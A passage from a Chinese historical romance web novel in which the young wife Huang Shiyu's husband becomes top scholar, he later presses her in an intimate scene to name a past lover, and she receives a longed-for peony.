黄时雨来过画阁一次,但没进过这么深的院落,一面紧跟闻大人,一面瞅着二层高的花坛上大如瓷盆的牡丹,这么早盛开,美的令人魂儿发颤。 画阁可真是财大气粗。 闻遇道:“喜欢的话就端一盆回画署,让严艺学来养。” 黄时雨不意还有这种好事儿,仰脸看向他又看看闻大人。 闻道芝这才注意到新开的牡丹,眼睛也亮起来,“那敢情好,来两盆吧。” 她将自己喜欢的豆绿塞进黄时雨手中,又挑了一盆贵妃醉酒。 闻遇嘴角牵了牵,最终什么也没说。 黄时雨应该喜欢那盆姚黄,但是姑母没选。 闻道芝对闻遇道:“行了,你走吧,莫要再送我,我与黄画员的马车就在前头。” 说着便将他手里的花盆接过,与黄时雨匆匆离开。 “好。”闻遇道。两手空空。 会试结束后简珣一直留在叶学士的府邸,师生时常秉烛夜谈,不出意外的话殿试结束才会归来。 三月初二会试揭榜。 宣道坊简府与盛平坊安国公府上下欢腾。 今年会试第一简允璋。 年仅十七。 第70章 陷阱 那日闻大人离开后,画阁管事抱着底账正欲回账房,忽听小闻大人问了句:“瞧着面生,新来的么?” 漫不经心的语气。 管事立即领会他问的谁,弓腰回“是的”,又多补了几句夸赞:“黄画员可不得了,咱们大康的女画魁,闻大人第一个,她是第二个。” 大有前途的女娃娃。 在年近六旬的老管事眼里,长得如此乖觉的女娃娃最有旺夫相。 果不其然嫁进了高门大户。 但这些八卦新闻就没必要在小闻大人跟前絮叨了。 他揣着手候在一旁,看看还有没有别的吩咐。 小闻大人站了片刻,举步朝着外院的方向而去。 且说初二这日得到简珣高中的喜讯,整好也是黄时雨的旬假,安国公府来人接程氏婆媳赴家宴。 因为会试与殿试之间间隔极短,时下通常都是等殿试结束再一起庆贺,因此安国公府仅办的家宴,一大家子聚在一起吃个饭,自个儿关着门热闹,只等殿试后再大操大办。 纵然已经是家宴,在黄时雨眼里也足够气派,到处都是仆妇丫鬟簇拥的贵妇人和小姐。 好在她记性不差,女眷这边尤其是长辈皆刻进了心里,断不会出大错,男性亲戚记不住脸也不打紧,听到名字心里有数即可。 所谓的家宴男女也不同席的,办在了三面环水的两层画舫,家里的女眷从楼廊便可直接进入画舫二楼,男子们则在一楼。 宴会途中,小少爷与小小姐楼上楼下跑着玩,一会要找祖母,一会要找祖父的,他们的乳母气喘吁吁追在后头,丫鬟也忙前忙后。 黄时雨顾盼生辉,含笑瞧着他们。 一个胖乎乎的雪团子扑进她怀里,喊阿娘,她微怔,粉靥顷刻烧红一片。 雪团子被身后的乳母抱起,一面给黄时雨施礼一面教雪团子说话:“彬哥儿,这是婶娘,宣道坊的婶娘,你允璋叔父的小媳妇。” 雪团子咧嘴一笑,喊“婶娘”,露出一排糯米珍珠似的小乳牙,黄时雨这才知是长房大少爷的嫡子,她不由莞尔,“嗳”了声,摸了摸彬哥儿的小脑袋。 老太君对程氏笑道:“珣哥儿的媳妇是个喜欢孩子的,说不定今年就有动静。” 程氏抿唇而笑,“承老太君您吉言,梅娘这个月就满十七,下半年若能有动静再好不过。” “彬哥儿的娘也是这个年纪生的他,咱们这样的门第请的动宫里的医女医正,又有付妈妈那样一等一的稳婆,定会逢凶化吉。”老太君道。 程氏认同颔首,“您说的是,这孩子瞧着是个有福气的。” 虽然梅娘的骨架不大腰肢又十分纤细,但臀型饱满丰腴,水蜜桃似的,像极了好生养的。 程氏至今还留着简珣的小襁褓与一些小衣裳,保存完好,时不时拿出来瞅瞅,可爱极了,时光如梭,豆丁儿大的小人人,仿佛昨日还在她怀里咿咿呀呀,一眨眼就长成了他爹的模样,马上也能自己当爹了。 因为程氏乃孀居之人,又有为亡夫守孝九年的宏愿,府里为她准备了许多清淡饮食,极少荤腥,可味道却别有一番鲜美,黄时雨陪着婆母用膳,吃的很是香甜。 打量她进膳的模样,程氏觉得自己也能多吃两口饭。 这孩子吃什么都香,偏吃相还斯文。 春日河鲜颇多,正是吃河豚的大好季节,黄时雨头一回吃,幸亏养气功夫略有火候,心里已是鲜美地飘飘然,世上竟有这般好吃的鱼! 程氏爱吃清蒸的,她爱吃红烧的,程氏便吩咐人给她上了些炙烤羊排,果然黄时雨也很爱吃。 这是个能吃肉的。 安国公府重养生,米饭种类繁多,除了碧粳米也有红稻米,有的长辈甚至还要加点糙米粟米豆类,但是似黄时雨这般年纪的都只爱吃碧粳米。 饭后点心,安国公府的萝卜糕与马蹄糕乃一绝。 尤其马蹄糕,除了加入牛乳红豆还加了椰瓤汁液,清甜乳香,勋贵人家,一啄一饮,炊金馔玉。 黄时雨品尝美味佳肴之时,简珣正埋首功课中。 三元已拿下两元,并没有旁人以为的那么轻松,而是八成的勤奋与两成的幸运。 叶学士满意地望着自己的学生,这是一个天赋异禀却又比旁人勤奋十倍百倍之人。 也是迄今为止最令他看好的孩子。 安国公这只老狐狸,当真送了他一份大礼。 越是大考在即,简珣的饮食就越清淡,唯一的休息时刻便是陪叶学士打坐。 冥思打坐养神静气。 唯有如此他才能真正放下诸多执念与杂念。 别人只要考中进士便能光宗耀祖,而他不可以,进士与同进士还是有差别的,差一丝可能就需要未来数年光阴来弥补。 为了缩短未来仕途的差距,他必须尽可能地让自己的起点高一些,再高一些,最好是最高的一甲。 男子唯有功名利禄加身,方有能力守住自己的一切,比如女人与尊严。 初五殿试,仅考策问,应试者九十六人,黎明时分验明正身进入保和殿赞拜、行礼。考官颁发策题,今年的策题足有千字。 皇帝亲自出的题。 日暮前,九十六位全国精英必须上交答卷。 所有答卷当场就被封存,由金吾卫押送至特殊场合,经过特殊处理,糊上考生姓名,再由阅卷官以朱笔誊抄,等在另一处的八名主考官看到的便是他们誊抄的朱笔,此举完美地规避了考官与考生勾连的可能,这亦是肃王提出的方案,深得帝心。 第一轮筛选出十张行文字句最为精彩的答卷,这些答卷在有限的字数以及规定的格式内,不仅言之有物,亦辞藻优美。 再由掌卷官负责挑出这十张答卷的原卷,进呈皇帝。 第二轮即由皇帝亲自审阅,从中钦定御批一甲三进士。 这一轮考的不仅仅是个人的才思敏捷,对于书写也有着更为严格的要求,必须为标准的馆阁体,大小间隔肉眼望去分毫不错。 因此每个精英从会说话开始就在练习写字,毕竟谁也不想因为字丑被皇帝在保和殿上否定十年乃至数十年苦读吧。 关于书写还真出过被当场丢出保和殿的案例,皇帝因考生的鬼爬字体龙颜大怒。 故而,现今能走到保和殿这一步的精英们,就没有不是书法高手的。 皇帝眯眸打量丹墀下垂首肃立的十位才子,年纪最大的五十六,最小的才十七。 他的目光定在十七岁的简珣身上,有明显地惊讶闪过。 也终于理解了懿阳公主的胡搅蛮缠。 长成这副模样,确实配得上公主的痴心。 皇帝心想,今年定要给简允璋一个探花,在琼林宴上让探花郎好好见识初长成的懿阳公主,抛开地位不谈,只谈容貌,世间也难有郎君舍得拒绝。 不过皇帝的想法在翻到写着简允璋三个字的策问时停滞。 不得不说,这是他近几年所见过的最漂亮的字,秀逸而不失力量,方正、光园、乌黑、体大无一不做到了完美,过目难忘。 单凭这笔好字,只要策问内容不是胡言乱语,就当得起探花。 然而简珣的策问不仅不是胡言乱语还写得相当绝妙,圆融,字字深入帝心。 皇帝在心里笑了。 这是一个狡猾的年轻人。 虽然在心计深沉如海的帝王眼里还稍许稚嫩,却真真是一个不可多得的可塑之才。 皇帝默看了片刻,又将十张答卷再从头翻阅一遍。 司礼监的秉笔太监始终安静地立在帝王左侧,但以他对帝王的诸多了解,今年的三甲已定。 安国公府是最大的赢家。 可纵观几朝几代,也没有这么年轻美貌的状元先例,再看看另外两位的年纪与容貌,倘若做了探花,而简允璋做状元,怪异得很。 帝王犹豫了,看向秉笔太监。 秉笔太监知悉自己可以开口说话,弓着腰一笑:“从先帝爷就开始任人唯贤,贤者居之,不问出身,依奴才愚见那也不应以貌取人,简会元固然年少俊美,可这才华也是实打实的,因外貌而失了皇上的认可,那多可惜呀。” 因外貌屈居第三,确实冤屈,当得起就是当得起。皇帝哈哈大笑。 秉笔太监顺水推舟一把,既合了皇帝心意,又卖了叶学士与简状元一笔人情。 两头都落着好。 三月初六,保和殿,皇帝钦定一甲,第一名简允璋,状元及第,授从六品翰林院修撰,掌修实录、会要。 轰动京师。 不出三日十七岁状元郎就被编进了各种话本子,文曲星下凡。 比正史更有趣的稗史记载了状元郎貌若谪仙,古今罕见。 再说初六的琼林宴,也引起了不小的骚动。 懿阳公主含羞带怯盛妆出席,坐在了父皇身侧,满目柔情望向等待了两年的郎君。 在今天以前,京师大人物谁会关注简允璋三个字,他成亲,别人也只当安国公的一个后辈成亲,没人会深究探究,因此懿阳与皇帝还真不知道他已然是有妇之夫。 话本子里公主看上有妇之夫甚至还成亲的故事绝非子虚乌有。 况且简珣才十七岁,大好年华,殿试前怎么可能定亲或成婚,正常人不都是等功名加身,再选门当户对么。 偏偏这简允璋不走约定成俗的路子,当被人敬酒套话时,竟直言自己已有内人,在画署当差。 满座哗然。 年仅十七岁的文曲星竟是有妇之夫,这比五十六岁的榜眼至今单身还令人震惊。 继续不出三日,又被人编撰成话本子,俏状元进京赶考缺盘缠,得富家小姐资助一举夺魁,缘定三生。 这厢宴会进行一半,有宫婢匆匆穿过人流,来到懿阳身后,低声耳语。 懿阳容色骤变,难以置信瞪圆了双眸。 很快,皇帝也知晓了。 嗯,事情竟这般凑巧这般不美。 皇帝也只能笑着摇摇头,心底略有些不满,可他也不至于昏聩到朗朗乾坤逼人停妻娶公主,更何况这还是安国公的侄孙,慎远家的孩子。 只能作罢,赏了懿阳一些金银财帛聊做安慰,懿阳中途掩面离席。 初六的黄时雨尚在画署当值。 在家是少奶奶,在画署则是牛马。 每日雷打不动为闻大人当值的屋子擦桌抹椅,浇花烧水。 小闻大人所赠的豆绿与贵妃醉酒极得廨所上下喜爱,专门托付给了莳花弄草的高手严艺学精心养护。 黄时雨也略通皮毛,从旁帮衬,每天搬着两盆花儿出来晒足太阳,太阳一消沉再搬回屋子。 她抬头望了望日影儿,此时此刻简允璋殿试结束了吧,定是在参加琼林宴。 这么重要的日子自己却未能在府中陪伴婆母。 黄时雨深信简珣能考中进士,却没想到他不仅考中还是状元及第,大康唯一一个将小三元与大三元全都收入囊中之人。 她成了状元娘子。 下衙的马车上,琥珀和宝络服侍她更衣梳头净面,直接去了平康坊的安国公府。 府中张灯结彩,大摆筵席,招待亲朋故旧。 她来得晚,状元郎已经祭告完列祖列宗。 黄时雨忙走到程氏身边,眉间洋溢着喜悦之色,程氏更是频频拭泪,攥紧了黄时雨的手。 从前大家聚在桂园,围坐老太君身边,程氏的位置多数稍稍靠外,今日渐渐被大家拱在了中央,连带始终侍立程氏身侧的黄时雨也不得不站在了显眼的位置。 族里的夫人奶奶们热络讨论,从对简珣的夸奖逐渐为对黄时雨的赞美,都说她有福气,旺夫,才进门没多久夫君就状元及第。 黄时雨愧不敢受,也清楚大家只是客套的恭维话,她微垂着眼睫含笑,轻声细语道:“这些全是阿娘的功劳,允璋是她亲手养大的,我没有添乱已是万幸。” 全然不见骄矜之态。 在这个年纪,也算相当沉得住气。 珣哥儿的小媳妇,除了门第不显,样样挑不出瑕疵。 状元筵席将要摆上三日,程氏还专门去济恩寺捐了一大笔香油钱,承诺连续布施七七四十九日。 琅琊简氏的族谱再添辉煌一笔。 会试加殿试相当损耗精力体力,走出琼林宴身体素质不行从而瘫倒也不是没有可能。简珣体力再好也是人,是人就会累,何况他的压力比任何人都大,心内积压的诸多沉郁更无从诉说。 初六那晚,简珣回到府中,坐在清苑的东次间,程氏只不过回屋更了衣,再回来发现他竟沉沉睡去,梅娘守在旁边神色惶然,“娘,我听他像是在睡觉,可也太突然,我已经让人去请郎中。” 请什么郎中,当然得请御医!程氏命人折回,拿着国公爷的名帖请御医。 这可是为状元郎诊脉,没有名帖也看得,御医很快来到了简府,两盏茶后,众人总算松了口气,原来是虚惊一场,简珣只是睡着了,并无大碍。 黄时雨从小到大见到的简珣皆为神采飞扬,精力充沛,也习惯了无所不能的他,从没想过他也会疲累,甚至全无防备沉睡。 一时百味杂陈。 他总是事事第一,但第一并没有那么轻松。 连续休息三日,简珣恢复如初。 十一,也就是后天即可去翰林院当差。 程氏高兴道:“如此,你俩倒是可以每日同时上衙下衙,形影不离。” 简珣道:“翰林院下衙晚于画署,并不能同时,不过上衙可以一起。” 他说话的时候看向黄时雨。 黄时雨尚沉浸在简珣高中且身体无碍的喜悦中,发现他的目光,立即脆声道:“好呀,我们一起。” 望着她兀自欣然的模样,简珣心道这是个记吃不记打的。 因为长达半月未见,回府后简珣又在书房调养,而简珣待她又一向疼宠,黄时雨还真忘了关于“失贞”闯下的祸。 潜意识觉得简珣不会同她计较了。 但这件事儿必须有个说法。 男人考虑的不只是绿头巾,更得考虑未来的后患。 出墙一次就会有无数次。 雄性的天性里深藏对血脉的执着,这是与生俱来的,一旦有污染自己血脉的可能,必不会善罢甘休。 女人被别的男人睡,就是在挑战夫君的天性。 黄时雨一无所觉,掌灯时分白露在门外求见。 “少奶奶,少爷请您去书房说话。”白露对着隔扇的方向福身。 黄时雨原本已经换了寝衣,便在琥珀的服侍下重新套上对襟长袄并家常的君子兰十六副褶裙。 简珣正在书房整理文集,瞧见黄时雨进来,便让人点了炭盆,屋子很快暖融融的。 她是个怕冷的,尤其京师初春的夜。 而简珣有时为了保持头脑清醒,并不喜欢长久处于那种晕乎乎的暖融中。 夫妻之间长久不见,总要做点什么的,简珣可不想亏待自己,倘若先谈话,少不得彼此不悦,梅娘更可能恼羞成怒。 所以他先哄着她坐上来。 不见面还好,见了面黄时雨多少有些心虚愧疚,如今他软言相哄,她也就糊里糊涂听了他的话,依言坐下,圈着他的脖颈咬唇闷哼出声。 她力气有限又素来娇气,根本没有伺候人的本事,几个来回就受不住,说什么也不要这么玩,双手撑着他肩膀直想跑。 哪有行事行一半作罢的道理,这让简珣怎么受得住。 “求你了,阿珣。”她好怕他用力。 简珣将人抱起,进了暖阁,用她能接受的招式足足过了数百招。 黄时雨喘息不已,忍耐不住的声音终于从喉咙溢出,朦胧中听见他问:“那个人疼你的时候,你也会发出这样的叫声吗?” 她蓦地睁开了眼眸,颤颤望着他。 简珣随意擦了擦,垂眸系上腰带,又扯过锦被覆在她身上,“躺一会再起,不要流出来。” 黄时雨躺在被中,攥紧了手心。 简珣倒了杯温热的水,喂她喝。 黄时雨才发现自己渴了。 喝了几口却又难以下咽,她扭过头。 简珣便将甜白瓷盏放回炕几,扯过一张圈椅,大马金刀坐在她身边,双手环臂打量着她。 黄时雨如芒在背,将脸扭向里侧,盯着暖炕镂空的梨花木雕发呆 “去年你明里暗里想与我退亲,那时已经与他有了首尾,对不对?”简珣平心静气地问。 黄时雨默然片刻,轻轻道:“我,不是自愿的,实非故意不忠于你。” 简珣神色一凛,冷声问:“他强迫你?” 黄时雨愣了下,连忙摇头,“他,没强迫我……” 真相听起来荒诞不经,却偏偏就是真相。 黄时雨娓娓道来,一切得从丐婆说起。 行事阴晴不定,时而清醒时而又发癔症,却武功高强,以戏弄他人为乐。 黄时雨能感觉到简珣犀利的视线,紧紧盯着自己的后脑勺。 讲到雪阳山围场那夜,她隐去了肃王的身份以及地名。 “我当时中毒,情不自禁,旁边恰好就他能用,便……抓着他不放。”她的声音越来越低,双手也不禁环紧了自己。 真相讲完,书房更静了,仅剩二人的呼吸声。 黄时雨心里没底,扭过头瞟他。 简珣依旧双手环臂,目光深邃如渊。 黄时雨迟疑道:“阿珣,该说的我都说了,真的没骗你,你还生我气吗?” 简珣撩眼看她片刻,终于移坐炕沿,将她扶起搂在怀中,“我现在,非常,心疼梅娘。” “阿珣。”黄时雨抬眸望着他。 “可是放任这么一个危险的人,时不时出现在你附近,随时对你做不利的事,我实在不放心,所以,不论死活,我都要找到丐婆下落。” 这是实话。 黄时雨闻言有些害怕,下意识攥紧他衣襟。 “他也一直在抓丐婆,到现在也没抓住。”她呢喃道。 简珣含住她敏感又柔弱的耳珠,弄的她不知所措,心神微乱,才循循善诱道:“那人救了你,手下的人又与丐婆多番交过手,必定知晓许多细节,问你你又说不清,不若你告诉我他是谁,待我问些线索,定能将丐婆绳之以法,也算为你们报仇,如何?” 丐婆不除,总归是心腹大患。 黄时雨推开他的脸,难为情道:“可我不想再提那件事。” 简允璋不介意,不代表肃王也不介意。 肃王看起来很不好相与。 而她,也不想在除了画署以外的地方再与肃王有交集。 包括简允璋,也不想他与他有交集。 简珣笑道:“你是不想还是不敢?” 一旦他与奸夫对峙,她的谎言都将不攻自破。 当然,她说的也可能是真的。 那就更耐人寻味了。 “梅娘。”他柔声道,“你不想提怎么又在画署与他成日里共处一室?” 黄时雨脑子一片空白,直觉自己掉进了一个陷阱,却又毫无头绪,“我们没有做对不起你的事,我,我也没法阻止他进画署。” 她能怎么办,难不成跑出廨所引所有人围观吗? 简珣差不多已经拼出了关于奸夫的几条有用信息。 “你和一个睡了你的男人和平共处,你不觉得很奇怪吗?”他的手缓缓探进锦被中。 黄时雨闷哼一声,尖声道:“那我能怎么办,你告诉我,我该怎么办?” “好,你先告诉我他是谁?”简珣终于露出真面目。 黄时雨泪盈于睫。 他根本就没原谅她,一直在给她下套。【你现在阅读的是 】 70-80 第71章 姚黄 这是个吃不得一点委屈的。 稍不如意就开始急眼。 简珣想不通怎就把好好的梅娘惯成了这副娇气性子。 她是一点也不怕他。 “你不想说便不说,我还能左右你舌头不成。”简珣放缓了语气,“但你得给我个保证。” 黄时雨的双手与大半精力皆放在他伸进被窝的手上,“你别动,我听着。” 简珣那只轻薄的手便真的安静下来。 他道:“瓜田李下,男女有别,我要你保证不得再与他单独共处一室,他来了你即刻去闻大人的屋子,闻大人定然不会赶你。” “我与闻大人仅隔了三面隔扇,她一直坐在我六步开外之地,敞开不就是同一间屋子,廨所并非你想象的那样,不存在封闭空间!”黄时雨抿紧了两瓣红唇。 “好,我信你们在廨所谨守礼法。但你们做过越轨之事,就不该再见面,他却还去招你,居心何在!梅娘,我要你亲口保证,不得再与他有首尾。” “好。” 简珣捏起她的小脸,与自己四目相对,“如果我,与别的姑娘家时不时在书房独处,一起调墨赋诗,你觉得怪不怪?” 黄时雨窒了窒,从未想过这个问题。 “你,会这样吗?”她问。 简珣脱口而出“不会”,顿了顿,目光灼灼道:“你若阳奉阴违,出尔反尔,那我就会了。” 黄时雨咬紧了牙根。 “梅娘的心里一定也希望我只疼你对不对,冷了拥着你睡,累了帮你揉手腕,渴了喂你喝水,亲吻你最喜欢的地方,把你伺候得舒舒服服,既然你希望我只对你好,那就不准再要别人的好!” “我没要别人的好。”黄时雨灰心道。 简珣“嗯”了声,“你很乖。” 黄时雨拨开他的手,寻找自己的罗裈,却被简珣一把按住,“别走,今晚我们就在这里睡吧。” “可你身子才将将复原。” 虽然她讨厌今晚的他,可是也不想他再劳累过度。 简珣噙着她耳廓,呢喃道:“方才我还不够勇猛吗?” 黄时雨两靥轰然烧红了一片。 他道:“我千辛万苦好不容易当上了状元郎,你就不能多许我些奖励吗?” 黄时雨想起他晕睡的那日,一颗负气的心不由软了三分,支吾道:“你不是才要过……” “不如……奖励我现在再做回探花郎。” “什么意思?”她有些跟不上。 简珣在她耳边低低道:“我要探一探这朵西府海棠,才相隔十八日,竟又忘了我是怎么疼爱它的,你说,是不是该罚……” 黄时雨倒吸一口冷气,用力攥住他的手腕,喉咙里溢出闷哼,渐渐变成了求饶声,求饶又渐渐变成了哦吟。 简珣笑道:“只喜欢手指可不行,你得喜欢我。” 他将她伺候得迷糊半晕,不知今夕是何年,才解了自己的衣,“现在轮到我了,你也得让我舒服舒服。” 床头吵架床尾打架,这一夜简珣将她结结实实“打”了一顿。 而她,哪里还有半分力气,在晃晃荡荡里闭着眼,微喘轻哼,努力喊着“阿珣”,只有喊他的名,他才不那么用力。 他找到了收拾她的完美手段,如鱼得水。 黄时雨也找到了收拾简珣的完美手段。 次日初十,正常上衙,而衣冠皆在上房寝卧,在简珣开口吩咐人为她取之际,黄时雨抢先爬起,囫囵套上衣裙忙忙离开了书房。 跑的可真快。 想来昨夜的讨饶全是假的。 简珣哼笑了声,施施然下炕,小厮丫鬟们便鱼贯而入。 白露将熨烫好的常服展开,侍奉他穿戴。 他也不完全是衣来伸手之人,套上圆领长袍旋即抄起带扣革带自己束上,白露顿了顿,微微垂首后退半步。 福生见状上前为少爷后背稍作整理。 从前丫鬟忙前忙后系腰带,自己只需展臂固然惬意,可是成了亲,许多寻常的小事在简珣眼里顷刻变了味。 “腰带”两个字过于暧昧。 当他急不可耐“欺负”梅娘,就得用力扯它,当梅娘装模作样为他宽衣,激动的他早已自己解了它。 腰带包含了他与梅娘太多的亲密无间,如今白露忽然圈着他整理,女子独有的气息扑面而来,就很难不让他想起一些场景。 他下意识地后退,自己系,抬眸看了素秋一眼。 素秋垂了下眼睫,上前拉着白露道:“这里有福生,咱俩去净房瞅瞅。” 白露道了声“好”,低首随素秋离开。 福生心领神会,从此少爷宽衣更衣,他皆抢上前。 白露插不了手,渐渐也就不再侍奉了。 且说这厢的黄时雨打着算盘回到上房,提着的气登时一松,人就软趴趴歪在了东次间的临窗大炕上。 琥珀等人将将备好了热水,见她这模样一时拿不准该不该扶她去净房梳洗。 现如今不二梅斋由孙妈妈管事,十分尽责严苛,这个时辰必定前来检查丫鬟们当值情况,例如茶炉子的水温和炭火,净房的热水,小厨房的膳食,无一不把着关,当她掀帘迈入东次间,自然也就发现挨了一夜“体罚”的黄时雨,真个儿如雨打的海棠,雪压的绿梅似的。 昨晚少奶奶被少爷唤去书房不是秘密,机灵的小丫鬟回禀孙妈妈上房不用备水和值夜,因为少奶奶没回来。 没回来的少奶奶还能去哪儿,自然是被少爷留宿书房,孙妈妈的脸色变了变。 夫人将她安排在梅斋除了辅佐少奶奶攒阅历,也同样肩负着照顾少爷的职责,少爷会试殿试元气亏损大半,怎能才缓过神就不知节制! 白白辜负了夫人的用心。 夫人安排他睡书房为的就是清修调养,他倒好,将少奶奶喊去书房,换个地界行乐。 孙妈妈飞快地瞄了黄时雨一眼,心中已经了然,告退后稍稍打听即知晓了书房昨夜的战况。 不出所料,孙妈妈忧心忡忡跑去清苑“告状”。 黄时雨这才吩咐丫鬟服侍洗漱更衣,气色比之孙妈妈在时亮堂大半。 琥珀的眼里藏着狐疑。 此番,黄时雨倒也不全是装腔作势,至少有三成是真的,酸麻虚软,于是再添油加醋演上一番,简珣的四分放纵就变成了十分。 清苑,孙妈妈福了福身,靠近两步在程氏耳边小声说了一席话,程氏脸色当即沉下大半。 阿珣不要命了吗? 时人相信身虚且不戒女色真的会出人命。 这日用完早膳,黄时雨先给婆母请个安再上衙。 通常站在院中对着程氏寝卧的方向福个礼即可,未料程氏却将她召进屋内说话。 “阿珣的身体将将恢复,正在调养元气的当口,你怎不劝着他些?”程氏尚披着及腰青丝,显然还未梳妆。 黄时雨一脸羞愧不安,揣着手,“不是儿媳不劝,实在是劝不了,为此他没少给我撂脸色,昨儿我劝他爱惜身子,还被他劈头盖脸一顿训斥,闹个没脸。” 说着,她从袖口扯出帕子擦一擦眼角。 “娘,我也心疼他的,无奈我人微言轻,收效甚渺,他听了也不会往心里记的,我说十句也顶不上您一句。” 程氏打量黄时雨又羞又委屈的模样,顷刻猜出个七八分状况。 “我明白了,这事儿我会拿个章程,去上衙吧。”她道。 黄时雨捺下心头狂喜,听话地告退。 梅娘前脚离府,简珣后脚就收到了“噩耗”,阿娘身体不适,命梅娘自今晚开始去清苑侍疾。 他忙不迭赶到清苑探望阿娘。 阿娘眼明心亮,气色红润,怎么瞧也瞧不出有“疾”,一张肃然的脸,沉沉地板着。 简珣咯噔一下,隐约猜到了什么。 梅娘出息了,翅膀也硬了,学会给他上眼药。 从前怎就想不到,婆母之于简允璋的威慑力! 黄时雨如愿换得三十余日清净。 被简珣夸“有出息”的黄时雨在含光门下车。 居所离皇城近,最大的好处体现在无需起早贪黑亦能准时上衙。 琥珀与宝络目送少奶奶在城门口核对玉符,不紧不慢往画署走去。 今儿太阳打西边升起,蓝素眼里突然有活儿,瞅着黄时雨在闻大人的屋子抹桌,竟自发端起沉重的瓦盆送去外头。 牡丹喜阳,但也不能直接暴晒,适宜摆放墙基或者严艺学搭建的芦苇棚子。 两盆花来了有些日子,有的已经出现颓势,严艺学命蓝素拿把剪刀,以便去掉残花。 于是蓝素用了整整一个时辰围着严艺学养护牡丹,默记于心。 黄时雨大为纳罕,提着水壶前来浇花,不意蓝素主动请缨,又把活儿揽走。 虽不理解,但是有人帮自己干活不是坏事。 黄时雨当即将水壶交付蓝素,叮嘱道:“牡丹喜欢水可是一次不能浇太多,得分好几次。” “嗯,我记着了。”蓝素道。 少了一份软差事,黄时雨静下心作画。 成为画员并不能万事大吉,画道漫漫,后面的路还长着呢,研习打磨容不得半分懈怠,光是每半年一次的画艺考核,就不容忽视。 考不好,极有可能一辈子做画员,钉死在从九品的位置上,连件正式的官袍都没有。 黄时雨觉着,自己怎么也得穿身绿袍,同时又羡慕简允璋出仕即青袍,还是翰林院的青袍,比她威风。 将来在皇城碰了面,她甚至得自称下官,心里便不服气得紧。 说起画艺考核,黄时雨的眉头不自觉颦蹙。 肃王的话言犹在耳——不能丢他的脸面。 堂堂画魁比不过第二名,将来少不得要成为画署的新闻。 她自己丢人也罢,肃王丢不起这个人。 但第二名陆召琰有天下最好的传承,实在比不过也不打紧,肃王是这么说的,可比不过一点与比不过一百点大不相同,意思很明显,就算差也不能太离谱。 黄时雨并不知陆召琰水平如何,然而令小闻大人青睐有加想也不可能为等闲之辈。 自己这个画魁,或许真的有些水分。 可那又怎样,她喜欢作画,赤子之心,纵然做不到人中翘楚,却能有眼下的日子亦很满足。 千金难买满足。 姜意凝认为画艺考核尚有三个月,那么久之后的事儿,现在放松放松影响不大,于是坐在自己的案牍前吃起茶点。 闻大人埋首公务,黄时雨虔诚作画,姜意凝大快朵颐,蓝素也有自己的忙头,围着牡丹打转,将那两盆花儿当成了眼珠子。 画阁的小管事前来送公文。 “闻大人,这是去年画署总开销的账目,请您过目。小闻大人说去年加了不少新人,尤其是男画员更多,您这边若有需要,直接派人去画阁账房支银子,小额的不用走规矩,有对牌即可。”小管事边说边将怀里的花盆搁在五方平头几上,扫袖上前,双手敬上牛皮纸封装的账目。 闻大人嗯了声,随手搁置一旁,“我知道了,这盆花什么意思?” 小管事回:“前几日花房又送了五六盆牡丹,花坛挤不下,小闻大人觉得您这里可能不嫌挤,适才吩咐小的给您送来。” 闻大人挑眉道:“挤不下才只送我一盆?” 小管事忙弯了弯腰笑道:“两盆两盆,另一盆被严艺学拦下,说是放在院子晒晒再搬进来。” 莳花弄草的门道小管事不懂,严艺学怎么说他便怎么做。 “另一盆什么品种?”闻大人问。 “也是姚黄。”小管事回。 闻大人一脸扫兴,“怎么全是他手里最便宜的。” 小管事满脸堆笑,“可不兴这么理解呐,姚黄的价格最近贵着呢。” “那也比不得二乔。” 懂了,闻大人这是后悔当初没搬走那盆二乔。小管事笑道:“小人下午就给您送来。” “行,再加一盆白雪塔。”闻大人总算展颜。 “好嘞。” 女人想要某样东西怎么非得先胡搅蛮缠一下,连闻大人也未能免俗。 小管事揖礼告退,在门外笑笑,又挠了挠头。 两盆牡丹赚足了廨所三个小丫头的欢心,齐齐围拱过去。 尤其黄时雨,左瞧瞧右瞧瞧,好奇之下凑上去,沁人心脾,不浓不淡的甜香。 此前画阁惊鸿一瞥,她便念念不忘,不意现在就放在了触手可及之地,心底便也跟着这股甜香甜甜的。 婆母唯喜兰竹等清雅之物,而简允璋酷爱梅花与海棠,简府一盆牡丹也没有。 此时的黄时雨尚未适应少奶奶身份,也没敢将所收的庞大巨款真当成自己的,琢磨抽空还给简允璋。她用自己的价值观衡量姚黄,认为买它不如多买些双林绫绢。 然而,当出其不意“拥有”,近距离地挨近,视觉嗅觉触觉逐一体验了,方觉知心头有多么喜欢。 连作画也比照着它。 整个下午,她爱不释手。 姜意凝目光熠熠,道:“好看,有段日子不曾关注你的画儿,总觉得变化许多,老实交代,是不是有高人背后指点你?” 她惊叹于黄时雨技艺进步之大。 黄时雨心里头颤颤,莫名涌上心虚、惶惶种种五味杂陈之感。 哪里敢承认是得了恩师点化。 亦不敢再因为求知的渴望,接近肃王…… 蓝素走过来将姚黄搬到自己的案牍上,“我这边阳光好,黄画员要是喜欢不若坐过来观赏,放你那里也太委屈花儿。” “好。”黄时雨没有异议。 她这里光线确实差些。 姜意凝小声嘀咕,“跟得了癔症似的,整天围着牡丹转,这下好了,又多两盆,足够她转个把月。” 蓝素一无所觉,守着新来的两盆姚黄转了一圈,眼底溢出不容错识的甜蜜。 申时下衙,简珣亲自接黄时雨回家。 他在马车上威胁道:“念你初犯我才不同你计较,下回再敢给我使绊子,定要你好看。” 黄时雨睁大了清丽眼眸,嘀咕道:“你在说什么,我听不懂。” 简珣眼睛微眯,脸孔白如玉石,星眸黑如点漆,咄咄逼人的凛冽。 黄时雨扭过头,假装手帕掉了,低头去捡。 简珣觉得这个人又怂又犟。 “后天你就满十七岁了,今儿爷心情好,你想要什么我都给你买。”简珣在黄时雨跟前,就是个普通的少年郎,一堆的缺点,望着她的目光却又总是溢出柔情。 黄时雨拾起帕子,才想起三月十二是自己的生辰,而她也没过过几次,以为旁人也如此,没想到简珣竟记得。 “没……”她下意识就要说没有,可是脑子里忽闪忽闪地冒出一盆姚黄,嘴上不说,其实心里爱极了。 她喜欢花儿。 她是他的媳妇。 要一盆花不为过的。 “我想要一盆姚黄。”黄时雨道。 简珣怔了怔,神色难辨,却又释然一笑,道:“好,现在就可以买。” 一盆花而已。 回府的马车中途拐了弯,绕过遵义坊直往西去。 西市的牡丹阁争奇斗艳,各种早开的名品,甚至稀世珍品,既可以直接买,亦能约花农大批量送上门。 简府的马车靠边停下,简珣随手将黄时雨抱了下来,牵着她的手儿,寻她心心念念的姚黄。 她得多喜欢,才会主动朝他要。 这是她第一次开口。 第72章 恣睢 